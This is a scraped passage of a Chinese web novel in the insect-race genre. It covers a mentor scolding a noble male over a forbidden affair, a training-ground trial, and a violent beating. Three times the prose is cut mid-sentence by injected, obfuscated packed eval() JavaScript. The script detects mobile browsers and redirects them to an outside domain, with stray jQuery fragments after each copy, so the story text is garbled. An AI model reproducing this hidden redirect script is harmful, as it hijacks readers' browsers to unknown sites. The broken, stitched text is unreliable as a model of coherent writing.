“对…他很漂亮。”雪因伸手想拿回书本,却被佐尔安敏捷地举高,手腕灵巧地一转,彻底错开雪因的动作,眼神八卦得不行,示意雪因继续说。
雪因不再争夺,任由自己更深地陷进柔软的座椅里。他微微仰头,目光投向窗外虚幻的远山回忆着“他很真实…毫不掩饰欲望,生命力旺盛得近乎野蛮。为了想要的东西,会不顾一切地去争、去抢,像一团…灼热的、挣扎着不肯熄灭的野火。”
燃不尽,风一吹,便连着天。
莽撞地烧入雪因眼中那片望不见底的深海,浮光跃金、燃起永不熄灭烈焰。
“哇噢~”佐尔安发出暧昧的长音,随即语气一转,带着鲜明的嫌恶:“总之比墨尔庇斯强!连我雌父都经常骂他纯粹是个混蛋。”
“你雌父骂他是因为墨尔庇斯去年截了原本要指派给第四军团的那批物资,当时第一军团征战星渊损耗过大,情有可原。而且,第四军团内部腐败案刚发,那批物资给他们是浪费。”
“不管,反正他就是个混蛋。他还整天欺负你。”佐尔安为雪因打抱不平,虽然雪因从没有说墨尔庇斯的坏话,但他认识雪因十几年时间,从未见过墨尔庇斯以雪因未婚夫的身份前来克斯安蒂星探望,每年庆典都是雪因独自出席。
“……”
雪因低垂下眼眸,轻轻叹了口气:“别这样说,军部前线一向繁忙,他也很辛苦。”
在外,与未婚雌君终究是一体的。这段关系尚未终结,就必须要维护表面。
“谁不辛苦?这是军雌该做的。”佐尔安反驳,“这么多军雌都能一边征战一边维系家族利益,怎么就他墨尔庇斯做不到?要我说,他要是连这点平衡都维持不了,不如早些从军团长的位置上退下来,让给更有能力的虫。”
“佐尔安。”门外声音响起,佐尔安、雪因立刻回到座位,端坐起身姿。
“莫里亚斯老师好”雪因和佐尔安乖巧开口,仪态无可挑剔。
进来的雄虫拥有一头流泻至腰际的银白色长发,眼眸比寻常的紫色更深邃,目光扫过并不带审视的意味,却像是能穿透表象,直抵灵魂深处。
他是雄虫协会会长,帝国权柄顶端的执掌者之一,与皇室、军部三分帝国权柄的顶级雄虫,同时也是所有S级雄虫的导师——莫里亚斯。
他身后,另外两名同行的雄虫也相继步入。虽不及导师,却也拥有着顶级血脉独有的精致容貌。不着痕迹地朝雪因他们眨了眨眼,交换了一个眼神,随即安静地在自己座位落座。
“雪因,”莫里亚斯优雅地立于四位尊贵的雄虫面前,指尖随意向左上方轻点,一道泛着微光的虚拟信息板瞬间在空气中浮现。“这次代表雄虫协会参与军校开幕,有什么发现?”
雪因从容起身,向导师致意,“回老师。莱昂图特家族此次仅派了三名旁系子弟入学,且天赋平平,这与其家族实力不符。我认为,这是军团长在主动避嫌,避免给人‘军权世袭’的口实,姿态做得很足,也相当聪明。”
“第二军团长威尔克斯家族与议会财政委员会主席霍恩海姆家族走动异常频繁。霍恩海姆家族此次破格录取的五名子弟中,有三名的测试成绩存疑,疑似与威尔克斯军团长施加了影响有关。这两家勾结,目的可能是为了在明年军费预算案上联手,一个要钱一个批钱。”
“还需要重点关注一个平民,名叫凯尔.斯特林。他出身采e级矿星,身份资料干净得过分,但精神力凝练程度远超同期。我怀疑他背后有势力在洗白他的身份,并将其塞入军校,意图不明。或许是某些虫培养的‘暗子’。”雪因语调平稳,应答如流。将这段时日,除开与诺伊斯耳鬓厮磨之外所洞察的各方动向,条理分明呈于师前。
“分析得很全面。”莫里亚斯轻轻颔首,指尖在虚拟板上优雅地划出一道弧线,将雪因提到的几个关键点串联起来。“莱昂图特家族在避嫌,威尔克斯与霍恩海姆在勾结,还有一个来历不明的天才……”
“那么,佐尔安,”他的目光转向金瞳雄虫,“威尔克斯,第二军团军团长,其雄主是你们的学长亚撒.维斯特,于去年完婚。而今年,威尔克斯便宣布将于年底再立一位雌君,来自霍恩海姆家族,正是那位掌握财政委员会副主席的继承人,你怎么看?”
他的指尖在虚拟板上一点,勾勒出两个家族的联系线。
佐尔安收敛了嬉笑,站起身:“老师,我认为威尔克斯此举,是在公然挑衅雄虫协会的权威,并试图模糊雌君与雌侍的界限。他利用亚撒学长精神力受损、记忆不清的弱点,哄骗其同意再立雌君,实质是为了捆绑霍恩海姆家族的财政势力,为他的第二军团和明年竞选铺路。”
“分析对了方向,但不够深刻。”莫里亚斯点评道,目光扫向另一名雄虫,“洛佩卡,你呢?”
坐在中间,一直显得漫不经心的黑发雄虫洛佩卡懒洋洋地耸耸肩:“要我说?两个都是蠢货。雄虫协会鼓励军权与财权结合,但主导权必须在雄虫手中。而像威尔克斯这样,愚弄一位失忆的S级雄虫,来达成自己肮脏的政治交易。这简直是在挑战制度,掘我们所有顶级雄虫立足的根基。而亚撒学长…”
他嗤笑一声,“更是丢尽了我们S级雄虫的脸,连自己的雌君都掌控不住,轻易被玩弄于股掌,让人失望。身为顶级雄虫,该有维/稳上层的自觉,而不是成为破坏规则的工具。”
“精准。”莫里亚斯轻轻颔首,最后,那深不见底的目光再次落回雪因身上,带着无形的压力,“那么,你呢?雪因.维斯特冕殿下?对于这种…挑战制度的行为,你怎么看?”
雪因一怔。
如果威尔克斯的行为算“挑战制度”,那他和诺伊斯…简直是在颠覆制度。一个耗费帝国海量资源培养的S级雄虫,未来注定要站在权力顶峰的存在,却和一个连雌奴之位都够不上的B级雌虫纠缠不清…
果然没什么事能瞒得住这位站在帝国最高位置的雄虫。
他低垂下眼眸,纤长的白色睫毛掩盖了其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513809|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中的慌乱,没有解释,也无法解释。
“雪因,”莫里亚斯的声音温和,却也带着巨大压力,“你刚才的分析很出色,对各方势力的动向把握得很准确。作为一个旁观者,你能够如此清晰地洞察威尔克斯对规则的践踏……”
他微微前倾:“为什么轮到自己的时候,就明知故犯了呢?”
佐尔安见状,立刻再次起身,试图解围:“老师,墨尔庇斯军团长昨日刚返回帝星,雪因想必是累了…”说罢,他暧昧笑笑。
莫里亚斯老师皮笑肉不笑地看向雪因身上:“是么?维斯特冕殿下,需要您的同窗如此为您辩解?”
雪因攥紧了置于膝上的手,指尖微微发白。“……抱歉。”
“抱歉?”莫里亚斯的声音冰冷,“帝国倾注资源培育你们,是为了什么?你们的雌君在军部掌握实权,又是为了什么?一场交易,一场维系帝国根基的同盟:你们提供基因与光环,他们献上忠诚与武力;你们在内掌控权柄,他们在外浴血征战。这才是规则!”
他踱步到雪因身边:“底层雌虫在次级星球挣扎,在战场上搏杀,用军功换来向上攀登的资格,而你现在却告诉它们——不必那么辛苦,只要得到S级雄虫的‘偏爱’,就能一步登天?要是这条路真被走通了,明天边缘星就敢出现逃兵!他们会为了一步登天,不择手段地涌向你这样的雄虫!届时,帝国的根基将不再是忠诚与战功,而是谄媚与床笫!”
“老师,您这话说得太重了,”佐尔安忍不住插嘴,试图缓和气氛,“不过是在外面玩玩,再说了,墨尔庇斯那家伙整天冷着张脸,还不许我们雪因找个知冷知热的了?”
“噢?只是玩玩?”莫里亚斯挑眉,视线转向雪因,那目光仿佛已将他彻底看穿,“把你那枚代表维斯特冕家族雌君身份的徽章,随便送给一个B级雌虫——这也是你‘玩玩’的一部分吗?”
雪因的脸色煞白。佐尔安和洛佩卡也收敛了戏谑的神情,不敢吱声。
莫里亚斯继续说:“雪因,你一向聪明,你告诉我,一个能把象征军团忠诚的雌君信物,随手送给情人的继承者,让我如何相信,他能分清何为‘玩玩’,何为‘颠覆’?”
“我从未要求你们与雌君产生感情。恰恰相反,没有私人感情的羁绊,帝国才对你们的同盟更为放心。你们之间需要的从来不是爱,是绝对的掌控与制衡。是共同维系维斯特冕与莱昂图特两大家族的联盟,是确保第一军团未来的指挥权,能通过你们血脉的结合,‘正确’平稳地传承下去。”
雪因抬起头,脸色苍白,声音带着强忍颤抖的倔强:“老师,就因为他不是世俗定义的‘正确’,那他的存在、他的努力,就活该被全盘否定吗?”
少年的爱恋,炽热而纯粹,不掺杂任何权衡与利益。
所以,为什么要来指责我?
难道就因为你们成年虫的世界充满了算计与权衡利弊,懦弱地将这称之为“成熟”,就有资格趾高气扬地来审判少年的真心,来掩饰自身的懦弱了吗?
“老师!我就是…”
我就是爱他!!!
成虫们总是不厌其烦地告诫他,要权衡利弊,要对家族负责。
那诺伊斯呢?
他就因为没有显赫的家族,没有所谓的“价值”,所以他的野心在成虫眼中就是包藏祸心、他的示好就是别有用心的狡猾、他的亲近就是不知廉耻的勾引,他本身就是原罪么?
如果这世上的一切都必须用“价值”来衡量,那么有一天,当更有价值的选择出现时,我雪因.维斯特冕,是否也会成为那个可以被随意替换的“次品”?
凭什么?!
11. 第 11 章
“够了!”他向前一步,阴影笼罩着雪因。
“这是维系帝国运转的规则!你雌父不惜辞职为此努力数百年才与你雄父诞下你这么一个雄子,整个顶级圈子都默认你们是天生一对。你现在告诉我,你要为一个B级雌虫,掀翻这张桌?”
他猛地背过身去,强压着怒火踱至窗边,望着外面被精神力恒定的、完美得不真实的阳光与世界。
什么爱情!什么个人意志一派胡言,他只看到虫族的未来要完!!
莫里亚斯深吸一口气,转身开口,面上已是一片冰冷,眼底翻涌着深沉的失望与厉色,“你觉得不公?觉得你那珍贵的‘感情’被规则扼杀了?”
他扯出一个没有温度的笑,声音不高,带着重重压迫,“好,那我问你——”
“如果我们放纵每个虫都去追寻所谓的‘个人价值’,谁来保证边缘星系的矿产产出?谁来用血肉之躯抵挡星兽?那些雌虫每天工作十八小时才能换来一支劣等营养液,他们不想追寻‘价值’?前线战场,每一秒都有军雌被星兽撕碎,他们不想活着回来,享受你所谓的‘正确’生活?”
“他们想!”莫里亚斯的声音骤然拔高,俊美眉宇间一片阴沉。
“但他们不能!因为帝国承受不起亿万个‘想’。正是这套规则,逼迫出他们极限的力量,才维系了帝国脆弱的平衡!规则之所以是规则,就是因为它用最残酷的方式,筛选出最强大的基因,最坚韧的意志,最忠诚的战士,去支撑整个文明的延续!你脚下踩的每一寸土地,你呼吸的每一口空气,都是这套规则构建的!”
“你现在觉得,你那份不容于世的‘感情’,比这套运行了亿万年的规则更‘正确’?比无数雌虫用尸骨垒起的晋升之路更‘珍贵’?——还是你觉得,你可以利用自己的特权,随意将一个底层雌虫扶上本不属于他的高位?”
“老师,您这话越说越重了,”佐尔安忍不住插嘴,试图用惯常的轻佻缓和可怜弱小无助的同窗,“墨尔庇斯那家伙整天冷着张脸,还不许我们雪因找个知冷知热的了?等他玩腻了……”
“玩?”莫里亚斯锐利的目光扫过佐尔安,最终落回雪因身上,“佐尔安,你的雌君是你自己选的,所以你可以‘玩’。但雪因,你和墨尔庇斯,从来不是选择,是注定。从你破壳的基因序列被确定,从他成为第一军团无可争议的继承人那一刻起,这就已经注定了。”
“若你只是个A级,甚至像他们三个一样的普通S级,我都可以睁只眼闭只眼。但你呢,雪因?你出生时消耗了三千六百一十二个S级雌虫的精神力才稳住确保你顺利活到成年。我们虫族,在茫茫宇宙中远非最强,帝国将资源倾注于你,不是为了让你像普通雄虫一样无需承担职责、沉溺情爱——是要你用和墨尔庇斯的基因,去冲击虫族的上限!是撬动整个种族的未来!”
“特权真正的代价,从来不是你得到了什么,而是你必须牺牲什么。”
莫里亚斯逼近一步,字字诛心:“帝国需要你们的后代来稳定军部,莱昂图特家族需要你的血脉来延续辉煌,而你的雄父家族,需要这场联姻来确保在未来半个世纪里,帝国的权柄依旧牢牢握在手中。所有人都在等着你们结合,所有人都在期盼那个能撬动虫族未来的虫蛋诞生。”
他定定看着雪因微微泛红的眼尾,看着他因压抑而轻颤的肩膀,多年的师生情让他语气缓和一瞬,“不要被无用的感情操控。至于你心里那个……”
他略一停顿,终是给了丝余地:“等你和墨尔庇斯的长子破壳,等他能在你的‘偏爱’下活到那时。届时,如果你还觉得他有趣,我以会长之名向你承诺,雄虫协会会‘帮助’他,得到一个雌侍的名分。”
教室静默。
半晌,佐尔安似乎无法忍受这种沉重,用胳膊肘轻轻撞了一下身旁的雪因,试图活跃气氛,小声嘀咕道:“……其实像我一样,掌控得很好就没事了。”他得意地挑眉,“我雌君就很听话。我想怎么娶就怎么娶。”
“处得好和把人当狗遛是两回事,”莫里亚斯冷冷瞥去,“给予必要的尊重,佐尔安。维系体面,也是你们最基本的功课。”
佐尔安摸了摸鼻子,旁边的洛佩卡发出一声毫不客气的嗤笑。
“笑什么?”莫里亚斯目光扫过另外两人,“洛佩卡,还有你,兰斯。以为能置身事外?”
被点名的兰斯立刻叫屈:“老师,我可一直兢兢业业为协会工作!接触的都是各军团的顶尖雌虫,分明是他们想方设法要‘优化’我的基因,我这可是在为帝国血脉的延续无私奉献啊。”
洛佩卡则懒洋洋地接话:“老师,我是在笑,若按您训斥雪因的这套标准来衡量,我们四个…大概都得去回炉重造一遍。”他意有所指地扫过众人,“毕竟,在座的谁还没点…无伤大雅的小爱好?”
“看来你们都很懂得如何‘团结互助’”莫里亚斯的声音里带着明显的讽刺,“那就把这份心思放在正事上。”
他环视四人,逐一敲打:
“佐尔安你我就不说,等你把雌君逼急了,可别找我哭。还有洛佩卡,你跟陛下那点风流韵事,别再传得满城风雨,皇室威严不是你能拿来消遣的。”
目光定格在试图降低存在感的兰斯身上:“雄雄恋在帝国行不通,把你那点心思收起来。”
雪因闻言愣住,下意识地和佐尔安、洛佩卡一同看向兰斯,眼神里充满了惊恐与探究:“……?”
兰斯立刻举手投降“纯欣赏,绝无实操!老师,兔子还不吃窝边草呢。”
“窝外也不行。”
“既然今天一个个都心浮气躁,那就都去训练场醒醒神。脑子和肌肉,总得有一个在状态,今天就用后者来弥补前者的缺失。”
“好好用身体去记住,何为‘自觉’,何为‘制度’。”
兰斯、佐尔安、洛佩卡:“……”
“老师,”佐尔安试图最后的努力着,笑嘻嘻地讨价还价,“也许……让雪因一个人去深刻反思就够了?我们可以留下来继续聆听您的教诲!”
微笑可以是一种礼貌,也可以是一种警告。
不等他们反应,莫里亚斯修长的指尖在空中轻轻一划。四只雄虫脚下的空间瞬间塌陷,形成一个漆黑的洞口,雄虫们连惊呼都来不及发出便坠了下去,只残留着两声短促的惨叫。
……
“莫里亚斯阁下。”洛迦南轻轻敲门,出现在门外。
“噢?洛迦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513810|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
南。”莫里亚斯坐下,周围教室的景象如水波般消散,场景瞬间转换成雅致茶室,屋内萦绕淡淡茶香。
“尝尝?”他执起茶壶,将一杯热气袅袅的清茶推至对面空位。
洛迦南缓步走近,依言落座,端起茶杯轻抿一口。“是您从这次出行的星球带回的?”
“嗯,那边出现雌虫暴动,拟态信息素失效…他们杀了我们一位派驻当地的B级雄虫。”
洛迦南端着茶杯的手一顿。
“拟态信息素需要配合雄虫自身的信息素才能被最大化激发。每一位由我们雄虫协会下方到小世界的雄虫,都起到稳定那一片区域的作用。”莫里亚斯放下茶杯,怔怔看向浅黄的茶叶“那个孩子脾气不算好,但他手里从没出现过虫命,释放信息素毫不吝啬,只是…那天放得信息素多了些,脾气坏了些,被几个雌君联手杀了。”
莫里亚斯闭上眼,缓缓吐了一口浊气,“杀了那孩子的几个高级雌虫没有死,但整片区域缺少雄虫信息素崩坏,死了三千万只虫。呵。”
“节哀,阁下。”洛迦南沉默片刻,低声道。
“不该对雌虫仁慈,”莫里亚斯睁开眼,眸中一片冷寂,“这些雄虫崽子们天生体能比不过雌虫,若不用长久以来建立的规则与惯性加以制衡…”
“算了。墨尔庇斯想和我说什么?你特意进来,是他让你传话吧?”他看向洛迦南。
洛迦南放下茶杯,如实禀报:“是。他说,您若无事,不妨去管好议会。”
莫里亚斯“……”
他先是无言,随即低笑起来,“行啊,他自己不教,我说上他家雪因两句又开始急了是吧?平时不见他多上心,一说他的崽子两句,倒护起来了。”
“军团长阁下面上不显,内心还是在乎殿下的。”
“呵,在乎?该教不教,一味惯着,把雪因惯成什么样了?感情用事,将个人私情凌驾于制度之上,明知故犯,屡教不改!早知道当年就不该让他养…”
话音未落,莫里亚斯迅速抄起茶几漂亮飘逸转身闪开——只见他原先所在的位置,已经被一道凌厉的精神力劈下,在地面留下一道深痕,残留着强大的威压。
“行了行了,说两句都不行?”他看向虚空挑衅着,“五天,完完整整还你!他们需要锻炼。”
空气凝固几秒,威压散去,连带着地面被劈开的位置也开始慢慢恢复原状。
莫里亚斯冷哼一声,将茶几稳稳放回原位,若无其事地重新斟茶。指尖轻点茶几,幽紫屏障从他身上展开,将整个茶室笼罩隔绝。
“墨尔庇斯精神力倒是越发强悍了,都能轻易入侵克斯安蒂星。”他将原先那杯茶再次推向洛里南,自己则重新取杯,又从虚空中取出一罐晶莹的蜂蜜,舀了些许融入茶中。轻轻搅拌,茶香混合着丝丝甜腻逸散开来。他抿了一口,满足地闭上眼,发出一声舒适的叹息,“雄虫果然还是更喜欢甜一些的。”
洛迦南一言不发,只是静静陪坐。
“别愣着,把昨晚的事,仔细同我说一遍。”
……
“噢?事后,他自己去了刑罚室领罚清醒?啧。”
“……,雪因。”莫里亚斯嘴里念叨着,所有所思。
12. 第 12 章
阿斯达里密林
【恭喜诸位,经历重重磨难后,终于到了最后一步……】
“嗯?”佐尔安挑眉,用手肘不轻不重地顶了下身旁洛佩卡的胸膛,“磨难?我们雄虫什么时候经历过这种东西?我觉得最近日子过得挺爽的还。”
“安静点。”洛佩卡推开佐尔安的手,仔细阅读在半空中徐徐展开的浅蓝色光幕,“让我看完规则。”
兰斯依靠着身后的古树,双手环胸,满脸不耐,头顶还有着刚从黑洞掉出没来得及调整姿势,狼狈擦过树梢沾着的两片落叶。
雪因则站在不远山崖处静立,微风缠绕着他清瘦的腰身,雪白的长发在微风中拂动,勾勒出少年特有兼具柔韧与脆弱的线条。
他垂眸凝视下方无边的林海,雪色长睫如垂死蝶翼般轻颤,挣扎在即将坠落的边缘。眼中的蓝沉淀着过于浓重的郁色,竟透出一种不该出现在顶级权贵身上的破碎感。
兰斯的脚步声由远及近,最终停在他身侧。
“别太在意,”兰斯停在他身侧,语气轻松,“老师的话是说重了些。不过是娶个雌侍玩玩,你去服个软,这事就过去了。”
“……不是玩玩,”雪因没有回头,眉宇间笼着一层郁色,“我是真的想娶他。”
兰斯叹了口气,上前一步揽住雪因肩膀,凑到他耳边,目光看向密林压低声音:“你清醒一点。我们这样的身份,婚事什么时候由得自己做主?等墨尔庇斯生下继承人,到时候你再把他收作雌侍…反正那家伙常年不回来,你把小情虫放在身边,不也一样?雌君雌侍,不过是个叫法。”
“我做不到。”雪因垂下眼眸,望向脚下无边的林海,微不可查叹息。爱是什么?应当是排他、是唯一、是灵魂深处容不下一点瑕疵的绝对纯粹。
兰斯神色一凛。他松开手,转到雪因面前,语气变得严肃:“雪因,别钻牛角尖。协会的手段你是知道的,他们绝不会允许你‘失控’。到时候,他们有的是办法……”他顿了顿,“比如,清洗掉你所有关于他的记忆。而你的小情虫,要是这事被捅出去,他绝对见不到第二天的太阳。”
雪因沉默良久,眼底那点微光彻底黯了下去。
“……我知道,是我的错。我会……和他分手,补偿他。”
话音落下的瞬间,空中浅蓝色的光幕适时展开。
【本次任务目标:从‘勇者’手中接管其击败邪恶势力后所获得的‘宝物’。】
“噢~”洛佩卡歪头端详着光幕,透露一丝了然,“就是让我们去抢的意思。”
“有意思。那么勇者是什么玩意?”佐尔安立刻凑了过去,两人一起研究起规则。
雪因没有回头,轻轻闭眼将那些纷乱纠葛的情绪强行压下。
注意力完全集中,感官便向外界无限延伸,空气中流动的信息素不断传来信号。
“是雌虫。”他睁开眼,眼眸里已不见迷茫与脆弱,语气平静宣布。
兰斯、佐尔安、洛佩卡三人同时愣住,满脸问号。
“哎哎哎,”佐尔安和洛佩卡对视一眼,挑了挑眉,“来看看,我的尾钩还在么?雌虫?我们要去跟雌虫抢东西?”
“嘿嘿,”洛佩卡一巴掌狠狠拍在佐尔安尾脊下方,顺手捏了一把,“在在在,大得很。”两人推搡着嬉笑。
“我就这么勾勾手指,”佐尔安扬起下巴,骄纵地笑,“他们就会跪下来摇着尾巴把东西捧上来。唔…我更喜欢让他们用牙齿叼着递过来,接过的时候还能顺势探入他们的唇间,感受他们…隐忍、温顺。”
洛佩卡狡黠看了佐尔安一眼,语气上扬:“只是把手指么?”
“哇哦,你和陛下也玩这么大么?”佐尔安嘴张成O型望向他,露出了然挑眉嘿嘿了两声,撞了下洛佩卡的肩膀,“想不到啊~”
“别闹了,”兰斯开口打断这两只没心没肺的雄虫,“老师才不会这么轻易放过我们。”
洛佩卡、佐尔安缓缓转头看他,极有默契地后退半步,交换了个意味深长的眼神。洛佩卡还不自然地抬手,把原本松垮的衣领往上提了提。
兰斯“?”
他先是一愣,随即意识到他们在想什么,整张脸瞬间涨红。
“喂喂喂,我都说了只是欣赏!纯粹的!欣赏!懂吗?!我对雄虫根本没有兴趣!不对!老师根本就是在污蔑我!我只是多看了一眼而已!!!”
“嗯嗯嗯。”
“懂,都懂。”洛佩卡、佐尔安敷衍地点头。
空中虚拟屏幕再次刷新。
【本次身份配置:亚雌。】
……
兰斯、佐尔安、洛佩卡:???
佐尔安脸上那戏谑调侃的笑容瞬间冻结僵住,他用力眨了眨那双漂亮金眸,几乎以为自己出现了幻觉:“……什么?亚雌?是我理解的那个意思吗?柔弱、无力、处在社会链底层的亚雌吗?我们???”
“不然呢?这里还有别的‘我们’吗?”洛佩卡带着一丝难以置信,他猛地指向佐尔安,又指向自己,“所以我们不仅不能靠‘睡服’那群饥渴的雌虫拿到宝物,反而可能被他们——”他咽了口口水,说出了那个可怕的词,“……给睡了?!”
兰斯迅速伸出拳头,狠狠砸向身旁的巨树,砰的一声闷响,他随即倒吸一口冷气,检查拳头却没有伤痕,“唔…痛觉保留,但协会覆盖在我们身上的护盾还在。协会果然没打算让我们受伤,”
他扯了扯嘴角,耸肩,“但‘受苦’和‘受辱’,看来是免不了了。”
【祝诸位任务顺利。】光屏闪烁,无情地消散在空中。
随之而来一阵带着淡淡蓝光风吹过。
全员浑身统一变成黑色作战服,黑色打底外黑金色肩带勾勒出优美线条,他们左臂佩着相同的标志,手上的黑色手套稳稳持枪。工装裤上右腿都扣着一条黑色战术腿环,露出笔直小腿,仅仅只在腿环处有一把锋利的匕首。
佐尔安低头,难以置信地看向这身行头,随即发出一声短促的冷笑。
“好好好,就给这个代替尾钩是吧?”他泄愤般一把抽出匕首,扯下一根头发往刃上一吹,发丝断成两截,“倒还行。”
“还行?你的意思是说我们得拿这个短短一截匕首,去和两米多高壮得像堵铁墙的雌虫抢???”洛佩卡不淡定了,他绝望地瞥了匕首一眼,猛地抬头望向天空,悲愤交加地大吼,“老师!!!!我觉得我的文化课还有巨大的提升空间!!!我还得给陛下守身啊!!!!”
开玩笑,他们这四小只可怜无助又脆弱的‘亚雌’去跟雌虫抢雄虫和羊入虎口有什么区别。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513811|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他试图唤醒老师的良知,显然失败了。
密林只回荡着他的绝望的声音。
雪因看向远方,慢慢伸出手,掌心朝上捕捉风中的信息,“这个训练场屏蔽了雌虫的精神力,他们在被持续消耗…”说着望向血腥味飘来的远方,补充道,“大量星兽正朝他们那边涌去。”
“就算雌虫精神力被屏蔽了我们也打不过啊…等等!”佐尔安转向他,满脸疑惑,“你怎么会知道?……在屏蔽状态下还能感知到这些?”
雪因轻笑,“信息素和精神力,本质上是同源的能量。像老师那样强大,一般可以将信息素当精神力运用,而我们大部分雄虫,更擅长用信息素‘反向’影响雌虫。”
“反向操控?”洛佩卡歪了歪头。
“对,如果雌虫的等级远高于我们,理论上,他们也能迫使雄虫…”
“发情?”佐尔安立刻接话,带着一丝惊惧,“通过操控雄虫的信息素,来间接操控其他护雄心切的雌虫?”
“那可真是太可怕了,难怪我们这些顶级雄虫都要被严密保护在帝星。”
“这是双向的,”雪因肯定道,“雄虫同样可以。我们能在不使用信息素的情况下,通过本能捕捉空气中逸散的精神力波动,进而反向使用它们。而这一点雄虫往往更……‘熟练’。毕竟,我们总需要‘练习’如何掌控雌虫。而雌虫的精神力,更多源于自身内在的爆发。”
“别说理论课了,”兰斯打断他们,直接切入最核心的问题,“等级呢?雪因你能‘看’出来吗?”
雪因沉默片刻,报出精确的数字:“一共200只雌虫。28只S级,164只A级,还有8只B级。”
兰斯、佐尔安、洛佩卡:……
佐尔安绝望冷哼了一声,调整了个舒服的姿势背靠树坐下,“好吧。那就让他们先互相消耗,等到了最后时刻,我们再去抢就好。”
“但是,”雪因再次平静发言,“我猜得没错的话,那个需要接管的‘宝物’是……一只A级雄虫。”
兰斯、佐尔安、洛佩卡瞬间僵住,眼神里写满难以置信。
“你的意思是——”洛佩卡的声音都变了调,他指着自己的鼻子,又震悚指向下边密林深处,“我们,顶着这废物亚雌的身份,要去跟那群杀红了眼的雌虫,抢一只!尊贵无比!碰一下都可能会被他们撕成碎片的!雄虫阁下吗?!!”
虽然平时享受特权很爽,但是要是这个特权在对立面,就要死掉了啊啊啊!
“嗯,在此之前,我们还得穿过这片密林,雌虫们距离我们一千公里。”雪因回头,表情也有些凝重起来。
佐尔安嘴角抽搐,“你们知道的,我很少用歹毒来形容一个任务。”
“呵。我们还没有物资。”兰斯冷笑,耸了耸肩。
洛佩卡仰头看了看逐渐暗淡的天色,绝望地补充:“根据云层和气压判断,晚上还会大幅降温,甚至下雪。”
“雪因啊…”三道哀怨的目光幽幽看过来。
“…抱歉,是我连累大家了。”雪因抿唇,微微低头带着内疚道歉。
“哼,知道就好,当然都是你的错。”佐尔安抱着手臂哼唧一声,“走吧,天快黑了,至少先找点能生火的东西,免得没被雌虫撕碎,先冻死在这个鬼地方。”
13. 第 13 章
“诺伊斯!”
沃特双手如铁钳般拽住诺伊斯衣领,将他狠狠砸向后方巨树。沉闷的撞击声响起,诺伊斯闷哼一声,嘴角当即溢出一道血迹。
即使如此沃特仍不解气。仗着健壮体型和S级雌虫的天然优势,就算被屏蔽了精神力,强横的肉/体力量依旧能轻易碾压对方。精神力化作淡色虫纹在他手臂上隐隐浮现,他嘴角勾起一抹狠厉的弧度,再次掐住诺伊斯的脖子将他举到半空。
雌虫之间等级压制是致命的,不止阶级,还有与生俱来的等级差距。
高等级雌虫与高等级雄虫结合,才能诞下同等优秀的后代;而低等级的普通雌虫想要更强的子嗣,只能用一辈子挣来的军功向圣殿换取高等级虫精。
然而没有雄虫信息素的滋养,虫蛋最高等级只能到A。
但这已经是底层雌虫毕生的梦想——只要后代能达到A级,就意味着不仅能上战场赚取更多军功,甚至有机会进入帝星,成为那些出身贵族却等级不高的雄虫的雌侍,互相优化基因,让家族血脉逐渐提升。
就算什么不做,S级的威压都能让仅仅只有B级的诺伊斯伏地颤抖,沃特肆无忌惮使用着力量。
诺伊斯双脚悬空,只能无力地挣扎着,徒劳地抓挠着他的手,大口大口喘息着。
沃特冷眼看他挣扎,随即一把将他狠狠砸向地面,扬起一道劲风。树叶飞溅,力道大到让周边地面裂开。
他从口袋抽出白手帕,慢条斯理地擦拭刚才碰触过诺伊斯的手指。
诺伊斯则猛地吐出一口血,狼狈地喘息着在地面蜷缩成一团。
“该死的贱虫,”沃特审判着,“你利用我勾引维斯特冕殿下,这段时间过得很爽是吧?”
抬脚用靴底碾上诺伊斯染血的胸口,听着下方传来细微的骨裂声,靴尖上扬,迫使诺伊斯扬起一张混杂着泥土与血污的脸。
“你以为你是什么主角?把保护你的人支开、独自猎杀几头星兽就能证明自己?”沃特脚下加重力道,看到对方痛苦地挣扎,眼中闪过满意,“蠢货。帝星不兴你们垃圾星那套单打独斗、弱肉强食。在这里,讲究的是规则,懂吗?乡巴虫。”
规则。
与底层星截然不同的生存之道。上位者之间讲究合作共赢,从不会用单打独斗来证明自己强大的幼稚举动。
“咳咳。”诺伊斯艰难地喘息着,手指深深抠入泥土,“沃特…”
“谁准你叫我名字?你配么?!”沃特抽脚猛踹他的腹部,将人再次砸向树干。树梢震动,落叶纷纷飘下盖住诺伊斯,平日嚣张不再,却显出一种异常脆弱、奋力挣扎的美。
诺伊斯捂住腹部,抬眼看向沃特,眼神挑衅,胸口还有着大片血迹,狼狈不堪,紫眸却燃烧着近乎妖艳的颜色。他低低笑起来,笑声中带着血沫。
